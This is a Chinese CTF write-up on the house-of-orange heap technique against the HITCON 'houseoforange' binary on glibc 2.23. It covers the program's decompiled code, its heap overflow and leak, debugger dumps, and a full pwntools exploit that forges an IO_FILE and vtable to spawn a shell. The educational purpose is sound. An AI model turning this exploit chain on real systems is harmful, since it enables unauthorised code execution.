0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd1b78 0x0000000000000000
victim的size为0,不满足要求,触发异常,调用malloc_printerr (check_action, “malloc(): memory corruption”, chunk2mem (victim), av);, 从而调用_IO_flush_all_lockp,进而fsop攻击成功。
3.2 ctf实例 – house of orange
lzx@ubuntu16x64:~/pwn/heap/IO_FILE/house_of_orange$ checksec hitcon_houseoforange
[*] '/home/lzx/pwn/heap/IO_FILE/house_of_orange/hitcon_houseoforange'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
lzx@ubuntu16x64:~/pwn/heap/IO_FILE/house_of_orange$ ./hitcon_houseoforange
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice :
ida分析
main
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int v3; // eax
sub_1218();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = input_number();
if ( v3 != 2 )
break;
see_house(); // 2 - see the house
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
upgrade_house(); // 3 - upgrade the house
}
else
{
if ( v3 == 4 )
{
puts("give up"); // 4 - exit
exit(0);
}
LABEL_14:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_14;
build_house(); // 1 - build the house
}
}
}
input_number
__int64 input_number()
{
char nptr; // [rsp+10h] [rbp-20h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
_read_chk(0LL, &nptr, 15LL, 16LL);
return (unsigned int)atoi(&nptr); // 返回一个unsigned int
}
build_house:build一个house,会创建三个chunk。
最多能build4个house;
每个house包含一个orange和一个name;
每个orange包含price和color;
创建chunk的顺序:house、house_name、orange。
int sub_D37()
{
unsigned int house_name_len; // [rsp+8h] [rbp-18h]
signed int color_of_orange; // [rsp+Ch] [rbp-14h]
void *house; // [rsp+10h] [rbp-10h]
_DWORD *orange; // [rsp+18h] [rbp-8h]
if ( house_cnt > 3u ) // 只能 build 4次
{
puts("Too many house");
exit(1);
}
house = malloc(0x10uLL); // 0x20大小的house chunk
printf("Length of name :");
house_name_len = input_number();
if ( house_name_len > 0x1000 )
house_name_len = 4096;
*((_QWORD *)house + 1) = malloc(house_name_len);// house[1]存储house_name_chunk
if ( !*((_QWORD *)house + 1) )
{
puts("Malloc error !!!");
exit(1);
}
printf("Name :");
input_string(*((void **)house + 1), house_name_len);// 往house_name_chunk输入house name
orange = calloc(1uLL, 8uLL);
printf("Price of Orange:", 8LL);
*orange = input_number(); // orange[0]存储price
color_menu();
printf("Color of Orange:");
color_of_orange = input_number();
if ( color_of_orange != 56746 && (color_of_orange <= 0 || color_of_orange > 7) )
{
puts("No such color");
exit(1);
}
if ( color_of_orange == 56746 ) // orange[1]存储56746/color+30
orange[1] = 56746;
else
orange[1] = color_of_orange + 30;
*(_QWORD *)house = orange; // house[0]存储orange_chunk
global_house = house; // 全局变量global_house存储的是最新的house chunk
++house_cnt; // 计数加1
return puts("Finish");
}
input_string
ssize_t __fastcall input_string(void *a1, unsigned int a2)
{
ssize_t result; // rax
result = read(0, a1, a2); // 没有NULL结尾处理,可能存在信息泄露漏洞!!!
if ( (signed int)result <= 0 )
{
puts("read error");
exit(1);
}
return result;
}
see_house:打印house的信息。
int see_house()
{
int v0; // eax
int result; // eax
int v2; // eax
if ( !global_house )
return puts("No such house !");
if ( *(_DWORD *)(*global_house + 4LL) == 56746 )
{
printf("Name of house : %sn", global_house[1]);
printf("Price of orange : %dn", *(unsigned int *)*global_house);
v0 = rand();
result = printf("x1B[01;38;5;214m%sx1B[0mn", qword_203080[v0 % 8]);
}
else
{
if ( *(_DWORD *)(*global_house + 4LL) <= 30 || *(_DWORD *)(*global_house + 4LL) > 37 )
{
puts("Color corruption!");
exit(1);
}
printf("Name of house : %sn", global_house[1]);
printf("Price of orange : %dn", *(unsigned int *)*global_house);
v2 = rand();
result = printf("x1B[%dm%sx1B[0mn", *(unsigned int *)(*global_house + 4LL), qword_203080[v2 % 8]);
}
return result;
}
upgrade_house:更新house的信息
int upgrade_house()
{
_DWORD *v1; // rbx
unsigned int v2; // [rsp+8h] [rbp-18h]
signed int v3; // [rsp+Ch] [rbp-14h]
if ( upgrade_cnt > 2u ) // 最多只能更新3次
return puts("You can't upgrade more");
if ( !global_house )
return puts("No such house !");
printf("Length of name :");
v2 = input_number();
if ( v2 > 0x1000 )
v2 = 4096;
printf("Name:");
input_string((void *)global_house[1], v2); // 直接在原house_name_chunk上输入数据,且长度没有限制,存在堆溢出漏洞
printf("Price of Orange: ", v2);
v1 = (_DWORD *)*global_house;
*v1 = input_number(); // 修改orange的price
color_menu();
printf("Color of Orange: ");
v3 = input_number();
if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
{
puts("No such color");
exit(1);
}
if ( v3 == 56746 ) // 修改orange的color
*(_DWORD *)(*global_house + 4LL) = 56746;
else
*(_DWORD *)(*global_house + 4LL) = v3 + 30;
++upgrade_cnt; // 更新次数+1
return puts("Finish");
}
漏洞
input_string函数中存在信息泄露漏洞:
创建chunk的顺序:house、house_name、orange;
因为input_string是用在house_name_chunk上的,所以调用see_house函数的时候可以泄露出name后面的内容。
upgrade_house函数中存在堆溢出漏洞:
同样,是在输入house_name的时候存在溢出漏洞,所以可以溢出修改house_name_chunk后面的数据。
思路
没有free。
存在任意长度的堆溢出,能泄露chunk的内容。
观察一下house of orange的利用条件:
堆溢出漏洞
能修改top chunk的size(满足)。
分配的chunk大小小于0x20000,大于top chunk的size;
top chunk大小大于MINSIZE;
top chunk的inuse等于1;
top chunk的大小要对齐到内存页。
能修改bk ->unsortedbin attack -> 任意地址写 -> 修改IO_list_all的内容(满足)。
能在top chunk伪造IO_FILE和vtable(满足)。
能泄露chunk的内容 -> 泄露libc某个地址 -> 泄露出_IO_list_all的地址(满足)
能泄露哪里的内容?
name字符串后面的内容。
name后面是否可能有libc中某个地址?
当从unsortedbin里的old top chunk切割一个fastbin/smallbin大小的chunk给name的时候,name的fd/bk指向unsortedbin(main_arena+88)。
当从unsortedbin里的old top chunk切割一个largebin大小的chunk给name的时候,name的fd/bk指向largebin头,fd_nextsize/bk_nextsize指向name本身。
调试分析
泄露_IO_list_all的地址
1.溢出修改top chunk的size
# overwrite the size of top
build(0x10,b'a'*8) # house_chunk, name_chunk,orange_chunk
#dbg()
payload = b'b'*0x10 # content(name_chunk): 0x10
payload += p64(0) + p64(0x21) + p32(0xdeadbeef) + p32(0xddaa) + p64(0) # content(name_chunk) + orange_chunk: 0x10+0x20 = 0x30
payload += p64(0) + p64(0xfa1) # content(name_chunk) + orange_chunk + head(topchunk) 0x10+0x20+0x10 = 0x40
upgrade(0x41,payload)
dbg()
pwndbg> heap
Allocated chunk | PREV_INUSE # house1
Addr: 0x5615bc55b000
Size: 0x21
Allocated chunk | PREV_INUSE # name1
Addr: 0x5615bc55b020
Size: 0x21
Allocated chunk | PREV_INUSE # orange1
Addr: 0x5615bc55b040
Size: 0x21
Top chunk | PREV_INUSE # old top chunk
Addr: 0x5615bc55b060
Size: 0xfa1
pwndbg> x/20gx 0x5615bc55b000
0x5615bc55b000: 0x0000000000000000 0x0000000000000021
0x5615bc55b010: 0x00005615bc55b050 0x00005615bc55b030
0x5615bc55b020: 0x0000000000000000 0x0000000000000021
0x5615bc55b030: 0x6262626262626262 0x6262626262626262
0x5615bc55b040: 0x0000000000000000 0x0000000000000021
0x5615bc55b050: 0x0000ddaadeadbeef 0x0000000000000000
0x5615bc55b060: 0x0000000000000000 0x0000000000000fa1 <-- top chunk的size被修改
0x5615bc55b070: 0x000000000000000a 0x0000000000000000
0x5615bc55b080: 0x0000000000000000 0x0000000000000000
0x5615bc55b090: 0x0000000000000000 0x0000000000000000
2.malloc一个更大的name chunk时,将top chunk释放到unsortedbin中
build(0x1000,b'c'*8) # trigger the _int_free in sysmalloc, old top chunk -> unsortedbin
heap
Allocated chunk | PREV_INUSE # house1
Addr: 0x5606daf31000
Size: 0x21
Allocated chunk | PREV_INUSE # name1
Addr: 0x5606daf31020
Size: 0x21
Allocated chunk | PREV_INUSE # orange1
Addr: 0x5606daf31040
Size: 0x21
Allocated chunk | PREV_INUSE # house2
Addr: 0x5606daf31060
Size: 0x21
Allocated chunk | PREV_INUSE # orange2
Addr: 0x5606daf31080
Size: 0x21
Free chunk (unsortedbin) | PREV_INUSE # old top chunk
Addr: 0x5606daf310a0
Size: 0xf41
fd: 0x7f41332deb78
bk: 0x7f41332deb78
Allocated chunk
Addr: 0x5606daf31fe0
Size: 0x10
Allocated chunk | PREV_INUSE
Addr: 0x5606daf31ff0
Size: 0x11
Allocated chunk
Addr: 0x5606daf32000
Size: 0x00
x/12gx 0x5606daf31060
0x5606daf31060: 0x0000000000000000 0x0000000000000021 # house2
0x5606daf31070: 0x00005606daf31090 0x00005606daf52010 # house2里存储着orange2和name2的mem指针
0x5606daf31080: 0x0000000000000000 0x0000000000000021 # orange2
0x5606daf31090: 0x0000ddaadeadbeef 0x0000000000000000
0x5606daf310a0: 0x0000000000000000 0x0000000000000f41 # old top chunk
0x5606daf310b0: 0x00007f41332deb78 0x00007f41332deb78
x/4gx 0x5606daf31000+0x21000
0x5606daf52000: 0x0000000000000000 0x0000000000001011 # name2
0x5606daf52010: 0x6363636363636363 0x000000000000000a
总结一下此时heap的变化:
// 溢出修改topchunk的size之后heap的情况
| house1 |name1 |orange1 | ...........................old top chunk...........................| .. |
// build(0x1000,b'c'*8) - 分配house2
| house1 |name1 |orange1 | house2 |...................old top chunk...........................| .. |
// build(0x1000,b'c'*8) - 分配name2
| house1 |name1 |orange1 | house2 |...................old top chunk (free)....................| .. | name2 |new top chunk|
// build(0x1000,b'c'*8) - 分配orange2(由于old top chunk进入unosrtedbin,所以后面分配堆块都从old top chunk切割)
| house1 |name1 |orange1 | house2 | orange2 |.........old top chunk (free)....................| .. | name2 |new top chunk|
// 此时old top chunk的fd和bk是 main_arena+88,fd被覆盖成了price和color的值
// 这样是无法泄露main_arena的,所以需要继续切割old top chunk
3.再build一个house,泄露出_IO_list_all的地址:
先malloc一个house_chunk(固定为0x20大小),先unlink old_top_chunk(很大,属于largebin),其fd和bk为unsortedbin的地址,然后切割一部分出来给用户。但是fd和bk后来会被覆盖为orange和name的地址;
接着malloc一个name_chunk,同样先unlink old_top_chunk(很大,属于largebin),其fd和bk为对应largebin的地址,fd_nexesize和bk_nexesize指向old_top_chunk,然后切割一部分出来给用户。如果name_chunk足够大,输入的name字符串足够小,那么切割以后就会保留bk、fd_nextsize和bk_nextsize。
如果输入name字符串的时候为8个字节(包括回车符),那么在打印name的时候,就可以把此largebin链表头的地址给泄露出来,从而可计算得到libc基址,进而得到_IO_list_all/system等的地址。
build(0x400,b'd'*7) # leak the address io_list_all (0x400 -> largebin chunk -> leak fd_nextsize later)
see()
ru('dddddddn')
libc_addr = u64(r(6).ljust(8,"x00")) - 0x3c5188
libc.address = libc_addr
io_list_all_addr = libc.sym['_IO_list_all']
system_addr = libc.sym['system']
leak('addr(_IO_list_all)',io_list_all_addr)
leak('addr(libc_base)',libc_addr)
leak('addr(system)',system_addr)
dbg()
当分配name3的时候,若申请的大小为largebin范围,由于old top chunk属于largebin范围,所以会先将其插入到largebin中,如下代码所示:
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) // victim 是 old top chunk
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
// 当分配house3(0x20)的时候,会进入这里
if (in_smallbin_range (nb) && // 如果要申请的chunk的size在smallbin范围内
bck == unsorted_chunks (av) && // 而且bck指向main_arena+96那个“chunk”,也就是如果unsortedbin中只有一个free chunk
victim == av->last_remainder && // 而且如果victim指向last_remainder
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) // 而且如果victim大小满足要申请的chunk的大小
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb); // 切割剩下的remainder
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
/* Take now instead of binning if exact fit */
if (size == nb)
{
......
}
/* place chunk in bin */
if (in_smallbin_range (size)) // 如果victim是smallbin范围大小,将victim插入smallbin
{
......
}
else // 如果victim是largebin范围大小,将victim插入largebin,走这里
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index); // bck指向0x400对应的largebin
fwd = bck->fd; // 因为该bin之前没有chunk,所以fwd也指向0x400对应的largebin
/* maintain large bins in sorted order */
if (fwd != bck) // 如果此largbin不为空,明显不是,不进去
{
......
}
else // 如果此largebin为空,将victim插入 fd_nextsize/bk_nextsize链表
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck; // 将victim插入fd/bk链表,其fd/bk均指向largebin链表头
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
由上面的分析可知,当要分配的chunk属于smallbin大小范围(包括fastbin和smallbin)的时候,走完if (in_smallbin_range (nb) &&…这个判断的时候,就会切割old top chunk并返回给用户,name3不会有指向自身fd_nextsize/bk_nextsize。所以需要name3申请的大小为largebin大小。
当分配name3的时候,单步调试上面代码,走到bck->fd = victim;的时候看一下各变量的值:
p/x victim->fd # victim->fd/bk的值是对应largebin链表头的地址
0x7f3b4b787188 =
x/gx victim->fd
0x7f3b4b787188 <main_arena+1640>: 0x00007f3b4b787178
x/gx victim->bk
0x7f3b4b787188 <main_arena+1640>: 0x00007f3b4b787178
p/x victim->fd_nextsize # victim->fd_nextsize/bk_nextsize的值是原old_top_chunk(即name3)的地址
0x561a3863d0c0 =
p/x victim->bk_nextsize
0x561a3863d0c0 =
x/gx victim->fd_nextsize
0x561a3863d0c0: 0x0000000000000000
x/gx victim->bk_nextsize
0x561a3863d0c0: 0x0000000000000000
heap
Allocated chunk | PREV_INUSE
Addr: 0x561a3863d000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x561a3863d020
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x561a3863d040
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x561a3863d060
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x561a3863d080
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x561a3863d0a0
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x561a3863d0c0 # old_top_chunk地址,后面切割后变成name3的地址
Size: 0xf21
Allocated chunk
Addr: 0x561a3863dfe0
Size: 0x10
Allocated chunk | PREV_INUSE
Addr: 0x561a3863dff0
Size: 0x11
Allocated chunk
Addr: 0x561a3863e000
Size: 0x00
vmmap # 看一下libc基址
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x561a37161000 0x561a37164000 r-xp 3000 0 /home/lzx/pwn/heap/IO_FILE/house_of_orange/hitcon_houseoforange
0x561a37363000 0x561a37364000 r--p 1000 2000 /home/lzx/pwn/heap/IO_FILE/house_of_orange/hitcon_houseoforange
0x561a37364000 0x561a37365000 rw-p 1000 3000 /home/lzx/pwn/heap/IO_FILE/house_of_orange/hitcon_houseoforange
0x561a3863d000 0x561a38680000 rw-p 43000 0 [heap]
0x7f3b4b3c2000 0x7f3b4b582000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so # libc基址
0x7f3b4b582000 0x7f3b4b782000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f3b4b782000 0x7f3b4b786000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f3b4b786000 0x7f3b4b788000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f3b4b788000 0x7f3b4b78c000 rw-p 4000 0
0x7f3b4b78c000 0x7f3b4b7b2000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f3b4b991000 0x7f3b4b994000 rw-p 3000 0
0x7f3b4b9b1000 0x7f3b4b9b2000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f3b4b9b2000 0x7f3b4b9b3000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f3b4b9b3000 0x7f3b4b9b4000 rw-p 1000 0
0x7ffe4dcf5000 0x7ffe4dd16000 rw-p 21000 0 [stack]
0x7ffe4dded000 0x7ffe4ddf0000 r--p 3000 0 [vvar]
0x7ffe4ddf0000 0x7ffe4ddf2000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
p/x 0x7f3b4b787188-0x7f3b4b3c2000 # 计算largebin链表头和libc基址之间的偏移
0x3c5188 =
再总结一下此时heap的变化:
......
// build(0x1000,b'c'*8) - 分配orange2(由于old top chunk进入unosrtedbin,所以后面分配堆块都从old top chunk切割)
| house1 |name1 |orange1 | house2 | orange2 |.........old top chunk (free)....................| .. | name2 |new top chunk|
// build(0x400,b'd'*7) - 切割old top chunk,分配house3
| house1 |name1 |orange1 | house2 | orange2 | house3 | .......old top chunk (free)............| .. | name2 |new top chunk|
----------
fd和bk被覆盖为orange3和name3的地址
// build(0x400,b'd'*7) - 切割old top chunk,分配name3
| house1 |name1 |orange1 | house2 | orange2 | house3 | name3 | ......... old top chunk (free) | .. | name2 |new top chunk|
----------
fd被覆盖为dddddddn,bk还是largebin的地址,fd_nextsize和bk_nextsize是name3的地址
// build(0x400,b'd'*7) - 切割old top chunk,分配orange3
| house1 |name1 |orange1 | house2 | orange2 | house3 | name3 | orange3 | old top chunk (free) | .. | name2 |new top chunk|
泄露heap地址
由于fd_nextsize保留下来了,所以利用upgrade输入0x10个字符,并调用see,也就可以泄露出name3的地址,从而计算heap的地址。为后面修改vtable作准备。
upgrade(0x10,b'e'*0xf) # leak heap addr
see()
ru('e'*0xf+'n')
heap_addr = u64(r(6).ljust(8,"x00")) - (0x20*6) # house1,name1,orange1,house2,orange2,house3
# 计算&top[12]:前面有house1,name1,orange1,house2,orange2,house3,name3,orange3,top的前面12个8字节
fake_vtable_addr = heap_addr + (0x20*6) + 0x410 + 0x20 + 0x8*12
leak('addr(heap)',heap_addr)
leak('addr(vtable)', fake_vtable_addr)
dbg()
heap
Allocated chunk | PREV_INUSE
Addr: 0x557e5f77b000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x557e5f77b020
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x557e5f77b040
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x557e5f77b060
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x557e5f77b080
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x557e5f77b0a0
Size: 0x21
Allocated chunk | PREV_INUSE # name3
Addr: 0x557e5f77b0c0
Size: 0x411
Allocated chunk | PREV_INUSE
Addr: 0x557e5f77b4d0
Size: 0x21
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x557e5f77b4f0
Size: 0xaf1
fd: 0x7f3e2dba5b78
bk: 0x7f3e2dba5b78
Allocated chunk
Addr: 0x557e5f77bfe0
Size: 0x10
Allocated chunk | PREV_INUSE
Addr: 0x557e5f77bff0
Size: 0x11
Allocated chunk
Addr: 0x557e5f77c000
Size: 0x00
x/8gx 0x557e5f77b0c0
0x557e5f77b0c0: 0x0000000000000000 0x0000000000000411
0x557e5f77b0d0: 0x6565656565656565 0x0a65656565656565
0x557e5f77b0e0: 0x0000557e5f77b0c0 #可以泄露出该地址 0x0000557e5f77b0c0
0x557e5f77b0f0: 0x0000000000000000 0x0000000000000000
unsortedbin attack和fsop
# unsortedbin attack and fsop
payload = b'f'*0x400 # name3
payload += p64(0) + p64(0x21) + 2*p64(1) # orange3
fake_file = IO_FILE_plus()
fake_file._flags = 0x0068732f6e69622f # /bin/sh
fake_file._IO_read_ptr = 0x61 # overwrite old_top_chunk's size
fake_file._IO_read_base = io_list_all_addr-0x10 # overwrite old_top_chunk's bk (for unsortedbin attack)
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file._mode = 0
fake_file._old_offset = system_addr
fake_file.vtable = fake_vtable_addr # &old_top_chunk[12]
fake_file.show()
payload += str(fake_file)
upgrade(0x1000,payload) # 这个数值只要够大就行
dbg()
command(1)
IO_FILE_plus struct:
{
_flags: 0x68732f6e69622f // /bin/sh
_IO_read_ptr: 0x61 // overwrite old_top_chunk's size
_IO_read_end: 0x0
_IO_read_base: 0x7fde9e8af510 // 篡改bk,unsortedbin attack
_IO_write_base: 0x0 // 0
_IO_write_ptr: 0x1 // 1
_IO_write_end: 0x0
_IO_buf_base: 0x0
_IO_buf_end: 0x0
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
_markers: 0x0 // fake_vtable
_chain: 0x0
_fileno: 0x0
_flags2: 0x0
_old_offset: 0x7fde9e52f3a0 // 将fake_vtable的__overflow篡改为system地址
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
_lock: 0x0
_offset: 0x0
_codecvt: 0x0
_wide_data: 0x0
_freeres_list: 0x0
_freeres_buf: 0x0
__pad5: 0x0
_mode: 0x0 // 0
_unused2: 0x0
vtable: 0x55f8c948f550 // 指向top[12],即_markers的地址
}
exp
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from pwn_debug import *
context(log_level='debug',arch='amd64')#,terminal=['tmux','sp','-h'])
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,' '))
uu64 = lambda data :u64(data.ljust(8,' '))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
p = process("./hitcon_houseoforange")
#p = remote("node4.buuoj.cn",29535)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF('./libc-2.23.so')
elf = ELF("./hitcon_houseoforange")
def dbg():
gdb.attach(p)
pause()
def command(id):
ru("Your choice : ")
sl(str(id))
def build(name_len,name,price=0xdeadbeef,color=0xddaa): # 56746 = 0xddaa
command(1)
ru("Length of name :")
sl(str(name_len))
ru("Name :")
sl(name)
ru("Price of Orange:")
sl(str(price))
ru("Color of Orange:")
sl(str(color))
def see():
command(2)
def upgrade(name_len,name,price=0xdeadbeef,color=0xddaa):
command(3)
ru("Length of name :")
sl(str(name_len))
ru("Name:")
sl(name)
ru("Price of Orange: ")
sl(str(price))
ru("Color of Orange: ")
sl(str(color))
'''step1: leak address of _IO_list_all and heap'''
# overwrite the size of top
build(0x10,b'a'*8) # house_chunk, name_chunk,orange_chunk
#dbg()
payload = b'b'*0x10 # content(name_chunk): 0x10
payload += p64(0) + p64(0x21) + p32(0xdeadbeef) + p32(0xddaa) + p64(0) # content(name_chunk) + orange_chunk: 0x10+0x20 = 0x30
payload += p64(0) + p64(0xfa1) # content(name_chunk) + orange_chunk + head(topchunk) 0x10+0x20+0x10 = 0x40
upgrade(0x41,payload)
#dbg()
build(0x1000,b'c'*8) # trigger the _int_free in sysmalloc, old top chunk -> unsortedbin
#dbg()
build(0x400,b'd'*7) # leak the address io_list_all (0x400 -> largebin chunk -> leak fd_nextsize later)
see()
ru('dddddddn')
libc_addr = u64(r(6).ljust(8,"x00")) - 0x3c5188
libc.address = libc_addr
io_list_all_addr = libc.sym['_IO_list_all']
system_addr = libc.sym['system']
leak('addr(_IO_list_all)',io_list_all_addr)
leak('addr(libc_base)',libc_addr)
leak('addr(system)',system_addr)
#dbg()
upgrade(0x10,b'e'*0xf) # leak heap addr
see()
ru('e'*0xf+'n')
heap_addr = u64(r(6).ljust(8,"x00")) - (0x20*6) # house1,name1,orange1,house2,orange2,house3
fake_vtable_addr = heap_addr + (0x20*6) + 0x410 + 0x20 + 0x8*12
leak('addr(heap)',heap_addr)
leak('addr(vtable)', fake_vtable_addr)
#dbg()
''' step2:unsortedbin attack and fsop '''
payload = b'f'*0x400 # name3
payload += p64(0) + p64(0x21) + 2*p64(1) # orange3
fake_file = IO_FILE_plus()
fake_file._flags = 0x0068732f6e69622f # /bin/sh
fake_file._IO_read_ptr = 0x61 # overwrite old_top_chunk's size
fake_file._IO_read_base = io_list_all_addr-0x10 # overwrite old_top_chunk's bk (for unsortedbin attack)
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file._mode = 0
fake_file._old_offset = libc.sym["system"]
fake_file.vtable = fake_vtable_addr # &old_top_chunk[12]
fake_file.show()
payload += str(fake_file)
upgrade(0x1000,payload)
#dbg()
command(1) # 触发攻击
itr()
参考文献
IO_FILE 与高版本 glibc 中的漏洞利用技巧
https://evilpan.com/2022/07/30/glibc-exp-tricks/
ctf-wiki-伪造 vtable 劫持程序流程
https://ctf-wiki.org/pwn/linux/user-mode/io-file/fake-vtable-exploit/
ctf-wiki-FSOP
https://ctf-wiki.org/pwn/linux/user-mode/io-file/fsop/
glibc 2.24 下 IO_FILE 的利用
https://ctf-wiki.org/pwn/linux/user-mode/io-file/exploit-in-libc2.24/
IO学习记录
https://chenqiw9.github.io/2021/04/13/IO%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/
IO FILE之fopen详解
https://ray-cp.github.io/archivers/IO_FILE_fopen_analysis
IO FILE之fread详解
https://ray-cp.github.io/archivers/IO_FILE_fread_analysis
IO FILE之fwrite详解
https://www.tttang.com/archive/1279/
IO FILE之fclose详解
https://ray-cp.github.io/archivers/IO_FILE_fclose_analysis
IO FILE之劫持vtable及FSOP
https://ray-cp.github.io/archivers/IO_FILE_vtable_hajack_and_fsop
IO FILE 之vtable劫持以及绕过
https://ray-cp.github.io/archivers/IO_FILE_vtable_check_and_bypass
ctf-wiki-house_of_orange
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange/
IO_FILE相关利用
https://la13x.github.io/2021/07/27/IO-FILE/#ciscn-2019-n-7
零基础要如何破除 IO_FILE 利用原理的迷雾
看雪ID:ztree
https://bbs.pediy.com/user-home-830671.htm
峰会回顾:https://mp.weixin.qq.com/s/eEbc8k8H9Pc2K0d_AHG3BA
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):Pwn堆利用学习